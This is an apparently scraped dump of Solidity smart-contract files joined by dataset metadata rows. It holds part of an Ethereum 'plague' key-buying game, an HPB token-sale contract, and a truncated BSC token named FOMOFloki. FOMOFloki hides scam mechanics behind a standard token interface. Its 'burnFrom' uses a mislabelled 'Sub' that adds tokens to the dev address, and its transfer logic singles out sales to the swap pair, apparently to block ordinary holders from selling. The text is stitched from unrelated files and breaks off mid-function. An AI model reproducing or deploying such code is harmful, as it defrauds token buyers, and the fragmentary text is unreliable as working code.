uint256 constant private rndDevelopmentReadyTime_ = 12 hours; // round timer at development stage ready time 1 hours;
uint256 constant private allKeys_ = 15000000 * (10 ** 18); // all keys count
uint256 constant private allEths_ = 18703123828125000000000; // all eths count
uint256 constant private rndIncreaseTime_ = 3 hours; // increase time 3 hours
uint256 constant private developmentAwardPercent = 1; // 0.1% reduction every 3 hours
mapping (uint256 => Round) public round_m; // (rndNo => Round)
mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound)
address public owner; // owner address
address public receiver = address(0); // receive eth address
uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner
bool public isStartGame = false; // start game flag
constructor()
public
{
owner = msg.sender;
}
modifier onlyHuman()
{
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth)
{
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier onlyOwner()
{
require(owner == msg.sender, "only owner can do it");
_;
}
function isHuman(address _addr) private view returns (bool)
{
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
return _codeLength == 0;
}
function buyKeys(address _inveter) private
{
uint256 _eth = msg.value;
uint256 _now = now;
uint256 _rndNo = rndNo;
uint256 _ethUse = msg.value;
if (_now > round_m[_rndNo].endTime)
{
require(round_m[_rndNo].endTime + rndDevelopmentReadyTime_ < _now, "we should wait some time");
uint256 lastAwardEth = (round_m[_rndNo].eth.mul(14) / 100).sub(round_m[_rndNo].inveterAmount);
if(round_m[_rndNo].totalInfective < round_m[_rndNo].lastInfective.length)
{
uint256 nextPlayersAward = round_m[_rndNo].lastInfective.length.sub(round_m[_rndNo].totalInfective);
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
if(round_m[_rndNo].infectLastPlayer != address(0))
{
lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(3)/100));
}
else
{
lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(4)/100));
}
}
_rndNo = _rndNo.add(1);
rndNo = _rndNo;
round_m[_rndNo].startTime = _now;
round_m[_rndNo].endTime = _now + rndInfectiveStage_;
round_m[_rndNo].totalInfective = 0;
round_m[_rndNo].lastRoundReward = lastAwardEth;
}
// infective or second stage
if (round_m[_rndNo].keys < allKeys_)
{
// infection stage
uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth);
if (_keys.add(round_m[_rndNo].keys) >= allKeys_)
{
_keys = allKeys_.sub(round_m[_rndNo].keys);
if (round_m[_rndNo].eth >= allEths_)
{
_ethUse = 0;
}
else {
_ethUse = (allEths_).sub(round_m[_rndNo].eth);
}
if (_eth > _ethUse)
{
// refund
msg.sender.transfer(_eth.sub(_ethUse));
}
else {
// fix
_ethUse = _eth;
}
// first stage is over, record current time
round_m[_rndNo].infectiveEndTime = _now.add(rndInfectiveReadyTime_);
round_m[_rndNo].endTime = _now.add(rndDevelopmentStage_).add(rndInfectiveReadyTime_);
round_m[_rndNo].infectLastPlayer = msg.sender;
}
else
{
require (_keys >= 1 * 10 ** 19, "at least 10 thound people");
round_m[_rndNo].endTime = _now + rndInfectiveStage_;
}
round_m[_rndNo].leader = msg.sender;
// update playerRound
playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys);
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys);
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// event
emit PlagueEvents.onInfectiveStage
(msg.sender,
_rndNo,
_keys,
_ethUse,
_now,
_inveter);
} else {
// second stage
require(round_m[_rndNo].infectiveEndTime < _now, "The virus is being prepared...");
// increase 0.05 Ether every 3 hours
_ethUse = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16));
require(_eth >= _ethUse, "Ether amount is wrong");
if(_eth > _ethUse)
{
msg.sender.transfer(_eth.sub(_ethUse));
}
round_m[_rndNo].endTime = _now + rndDevelopmentStage_;
round_m[_rndNo].leader = msg.sender;
// update playerRound
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// update development award
uint256 _exAwardPercent = ((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(developmentAwardPercent).add(developmentAwardPercent);
if(_exAwardPercent >= 410)
{
_exAwardPercent = 410;
}
round_m[_rndNo].exAward = (_exAwardPercent.mul(_ethUse) / 1000).add(round_m[_rndNo].exAward);
// event
emit PlagueEvents.onDevelopmentStage
(msg.sender,
_rndNo,
_ethUse,
_now,
_inveter);
}
// caculate share inveter amount
if(_inveter != address(0) && isHuman(_inveter))
{
playerRound_m[_rndNo][_inveter].getInveterAmount = playerRound_m[_rndNo][_inveter].getInveterAmount.add(_ethUse.mul(10) / 100);
round_m[_rndNo].inveterAmount = round_m[_rndNo].inveterAmount.add(_ethUse.mul(10) / 100);
}
round_m[_rndNo].loseInfective[round_m[_rndNo].totalInfective % 4] = round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11];
round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11] = msg.sender;
round_m[_rndNo].totalInfective = round_m[_rndNo].totalInfective.add(1);
}
function buyKeyByAddr(address _inveter)
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
require(isStartGame == true, "The game hasn't started yet.");
buyKeys(_inveter);
}
function()
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
require(isStartGame == true, "The game hasn't started yet.");
buyKeys(address(0));
}
function awardByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(isStartGame == true, "The game hasn't started yet.");
require(_rndNo <= rndNo, "You're running too fast");
uint256 _ethOut = 0;
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
_totalAward = _totalAward.add(round_m[_rndNo].exAward);
uint256 _getAward = 0;
//withdraw award
uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100;
_totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward);
_totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][msg.sender].keys));
_totalWithdraw = _totalWithdraw / round_m[_rndNo].keys;
uint256 _inveterAmount = playerRound_m[_rndNo][msg.sender].getInveterAmount;
_totalWithdraw = _totalWithdraw.add(_inveterAmount);
uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw;
if(_totalWithdraw > _withdrawed)
{
_ethOut = _ethOut.add(_totalWithdraw.sub(_withdrawed));
playerRound_m[_rndNo][msg.sender].withdraw = _totalWithdraw;
}
//lastest infect player
if(msg.sender == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0)
{
_getAward = _getAward.add(_totalAward.mul(10)/100);
}
if(now > round_m[_rndNo].endTime)
{
// finally award
if(round_m[_rndNo].leader == msg.sender)
{
_getAward = _getAward.add(_totalAward.mul(60)/100);
}
//finally ten person award
for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1))
{
if(round_m[_rndNo].lastInfective[i] == msg.sender && (round_m[_rndNo].totalInfective.sub(1) % 11) != i){
if(round_m[_rndNo].infectiveAward_m[i])
continue;
if(round_m[_rndNo].infectLastPlayer != address(0))
{
_getAward = _getAward.add(_totalAward.mul(3)/100);
}
else{
_getAward = _getAward.add(_totalAward.mul(4)/100);
}
round_m[_rndNo].infectiveAward_m[i] = true;
}
}
}
_ethOut = _ethOut.add(_getAward.sub(playerRound_m[_rndNo][msg.sender].hasGetAwardAmount));
playerRound_m[_rndNo][msg.sender].hasGetAwardAmount = _getAward;
if(_ethOut != 0)
{
msg.sender.transfer(_ethOut);
}
// event
emit PlagueEvents.onAward
(msg.sender,
_rndNo,
_ethOut,
now);
}
function getPlayerAwardByRndNo(uint256 _rndNo, address _playAddr)
view
public
returns (uint256, uint256, uint256, uint256)
{
uint256 _ethPlayerAward = 0;
//withdraw award
uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100;
_totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward);
_totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][_playAddr].keys));
_totalWithdraw = _totalWithdraw / round_m[_rndNo].keys;
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
_totalAward = _totalAward.add(round_m[_rndNo].exAward);
//lastest infect player
if(_playAddr == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0)
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(10)/100);
}
if(now > round_m[_rndNo].endTime)
{
// finally award
if(round_m[_rndNo].leader == _playAddr)
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(60)/100);
}
//finally ten person award
for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1))
{
if(round_m[_rndNo].lastInfective[i] == _playAddr && (round_m[_rndNo].totalInfective.sub(1) % 11) != i)
{
if(round_m[_rndNo].infectLastPlayer != address(0))
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(3)/100);
}
else{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(4)/100);
}
}
}
}
return
(_ethPlayerAward,
_totalWithdraw,
playerRound_m[_rndNo][_playAddr].getInveterAmount,
playerRound_m[_rndNo][_playAddr].hasGetAwardAmount + playerRound_m[_rndNo][_playAddr].withdraw);
}
function feeWithdraw()
onlyHuman()
public
{
require(isStartGame == true, "The game hasn't started yet.");
require(receiver != address(0), "The receiver address has not been initialized.");
uint256 _total = (totalEth.mul(5) / (100));
uint256 _withdrawed = ownerWithdraw;
require(_total > _withdrawed, "No need to withdraw");
ownerWithdraw = _total;
receiver.transfer(_total.sub(_withdrawed));
}
function startGame()
onlyOwner()
public
{
require(isStartGame == false, "The game has already started!");
round_m[1].startTime = now;
round_m[1].endTime = now + rndInfectiveStage_;
round_m[1].lastRoundReward = 0;
isStartGame = true;
}
function changeReceiver(address newReceiver)
onlyOwner()
public
{
receiver = newReceiver;
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256[2], uint256[3], address[2], uint256[6], address[11], address[4])
{
uint256 _rndNo = rndNo;
uint256 _totalAwardAtRound = round_m[_rndNo].lastRoundReward.add(round_m[_rndNo].exAward).add(round_m[_rndNo].eth.mul(30) / 100);
return (_rndNo,
[round_m[_rndNo].eth, round_m[_rndNo].keys],
[round_m[_rndNo].startTime, round_m[_rndNo].endTime, round_m[_rndNo].infectiveEndTime],
[round_m[_rndNo].leader, round_m[_rndNo].infectLastPlayer],
[getBuyPrice(), round_m[_rndNo].lastRoundReward, _totalAwardAtRound, round_m[_rndNo].inveterAmount, round_m[_rndNo].totalInfective % 11, round_m[_rndNo].exAward],
round_m[_rndNo].lastInfective,
round_m[_rndNo].loseInfective);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rndNo = rndNo;
uint256 _now = now;
// start next round?
if (_now > round_m[_rndNo].endTime)
{
return (750007031250000);
}
if (round_m[_rndNo].keys < allKeys_)
{
return ((round_m[_rndNo].keys.add(10000000000000000000)).ethRec(10000000000000000000));
}
if(round_m[_rndNo].keys >= allKeys_ &&
round_m[_rndNo].infectiveEndTime != 0 &&
round_m[_rndNo].infectLastPlayer != address(0) &&
_now < round_m[_rndNo].infectiveEndTime)
{
return 5 * 10 ** 16;
}
if(round_m[_rndNo].keys >= allKeys_ && _now > round_m[_rndNo].infectiveEndTime)
{
// increase 0.05 Ether every 3 hours
uint256 currentPrice = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16));
return currentPrice;
}
//second stage
return (0);
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
| 336,003 | 13,542 |
42a2859d259ffa8a5a737d0babb2bbdff356b4e46e379b6378f8c06743ab1a2b
| 13,336 |
.sol
|
Solidity
| false |
313659237
|
nelaturuk/verisolid_journal_experiments
|
919c4a29187e561681ab0197059c31e8899d88f5
|
case-studies/ERC20contracts/Type 1/HPBCoin.sol
| 2,797 | 10,805 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/// @title HPB Protocol Token.
/// For more information about this token sale, please visit https://gxn.io
/// @author Arnold - <arnold@gxn.io>, Bob - <bob@gxn.io>.
contract HPBToken is StandardToken {
string public constant NAME = "HPBCoin";
string public constant SYMBOL = "HPB";
uint public constant DECIMALS = 18;
/// During token sale, we use one consistent price: 1000 HPB/ETH.
/// We split the entire token sale period into 3 phases, each
/// phase has a different bonus setting as specified in `bonusPercentages`.
/// The real price for phase i is `(1 + bonusPercentages[i]/100.0) * BASE_RATE`.
/// The first phase or early-bird phase has a much higher bonus.
uint8[10] public bonusPercentages = [
20,
10,
0
];
uint public constant NUM_OF_PHASE = 3;
/// Each phase contains exactly 29000 Ethereum blocks, which is roughly 7 days,
/// which makes this 3-phase sale period roughly 21 days.
/// See https://www.ethereum.org/crowdsale#scheduling-a-call
uint16 public constant BLOCKS_PER_PHASE = 29000;
/// This is where we hold ETH during this token sale. We will not transfer any Ether
/// out of this address before we invocate the `close` function to finalize the sale.
/// This promise is not guanranteed by smart contract by can be verified with public
/// Ethereum transactions data available on several blockchain browsers.
/// This is the only address from which `start` and `close` can be invocated.
///
/// Note: this will be initialized during the contract deployment.
address public target;
/// `firstblock` specifies from which block our token sale starts.
/// This can only be modified once by the owner of `target` address.
uint public firstblock = 0;
/// Indicates whether unsold token have been issued. This part of HPB token
/// is managed by the project team and is issued directly to `target`.
bool public unsoldTokenIssued = false;
/// Minimum amount of funds to be raised for the sale to succeed.
uint256 public constant GOAL = 3000 ether;
/// Maximum amount of fund to be raised, the sale ends on reaching this amount.
uint256 public constant HARD_CAP = 4500 ether;
/// Base exchange rate is set to 1 ETH = 1050 HPB.
uint256 public constant BASE_RATE = 1050;
/// A simple stat for emitting events.
uint public totalEthReceived = 0;
/// Issue event index starting from 0.
uint public issueIndex = 0;
/// Emitted only once after token sale starts.
event SaleStarted();
/// Emitted only once after token sale ended (all token issued).
event SaleEnded();
/// Emitted when a function is invocated by unauthorized addresses.
event InvalidCaller(address caller);
/// Emitted when a function is invocated without the specified preconditions.
/// This event will not come alone with an exception.
event InvalidState(bytes msg);
/// Emitted for each sucuessful token purchase.
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
/// Emitted if the token sale succeeded.
event SaleSucceeded();
/// Emitted if the token sale failed.
/// When token sale failed, all Ether will be return to the original purchasing
/// address with a minor deduction of transaction feeas)
event SaleFailed();
modifier onlyOwner {
if (target == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
throw;
}
}
modifier beforeStart {
if (!saleStarted()) {
_;
} else {
InvalidState("Sale has not started yet");
throw;
}
}
modifier inProgress {
if (saleStarted() && !saleEnded()) {
_;
} else {
InvalidState("Sale is not in progress");
throw;
}
}
modifier afterEnd {
if (saleEnded()) {
_;
} else {
InvalidState("Sale is not ended yet");
throw;
}
}
function HPBToken(address _target) {
target = _target;
totalSupply = 10 ** 26;
balances[target] = totalSupply;
}
/// @dev Start the token sale.
/// @param _firstblock The block from which the sale will start.
function start(uint _firstblock) public onlyOwner beforeStart {
if (_firstblock <= block.number) {
// Must specify a block in the future.
throw;
}
firstblock = _firstblock;
SaleStarted();
}
/// @dev Triggers unsold tokens to be issued to `target` address.
function close() public onlyOwner afterEnd {
if (totalEthReceived < GOAL) {
SaleFailed();
} else {
SaleSucceeded();
}
}
/// @dev Returns the current price.
function price() public constant returns (uint tokens) {
return computeTokenAmount(1 ether);
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () payable {
issueToken(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param recipient Address that newly issued token will be sent to.
function issueToken(address recipient) payable inProgress {
// We only accept minimum purchase of 0.01 ETH.
assert(msg.value >= 0.01 ether);
// We only accept maximum purchase of 35 ETH.
assert(msg.value <= 35 ether);
// We only accept totalEthReceived < HARD_CAP
uint ethReceived = totalEthReceived + msg.value;
assert(ethReceived <= HARD_CAP);
uint tokens = computeTokenAmount(msg.value);
totalEthReceived = totalEthReceived.add(msg.value);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[target] = balances[target].sub(tokens);
Issue(issueIndex++,
recipient,
msg.value,
tokens);
if (!target.send(msg.value)) {
throw;
}
}
/// @dev Compute the amount of HPB token that can be purchased.
/// @param ethAmount Amount of Ether to purchase HPB.
/// @return Amount of HPB token to purchase
function computeTokenAmount(uint ethAmount) internal constant returns (uint tokens) {
uint phase = (block.number - firstblock).div(BLOCKS_PER_PHASE);
// A safe check
if (phase >= bonusPercentages.length) {
phase = bonusPercentages.length - 1;
}
uint tokenBase = ethAmount.mul(BASE_RATE);
uint tokenBonus = tokenBase.mul(bonusPercentages[phase]).div(100);
tokens = tokenBase.add(tokenBonus);
}
/// @return true if sale has started, false otherwise.
function saleStarted() constant returns (bool) {
return (firstblock > 0 && block.number >= firstblock);
}
/// @return true if sale has ended, false otherwise.
function saleEnded() constant returns (bool) {
return firstblock > 0 && (saleDue() || hardCapReached());
}
/// @return true if sale is due when the last phase is finished.
function saleDue() constant returns (bool) {
return block.number >= firstblock + BLOCKS_PER_PHASE * NUM_OF_PHASE;
}
/// @return true if the hard cap is reached.
function hardCapReached() constant returns (bool) {
return totalEthReceived >= HARD_CAP;
}
}
| 156,206 | 13,543 |
18ac55d19c2c5b7b82843175b99621ec9e937ee2b27306180c65a7f8d0512d7c
| 22,006 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x8041aFd5421e9D333a5Fce81739027600E5Dc187/contract.sol
| 3,242 | 12,477 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FOMOFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**13;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
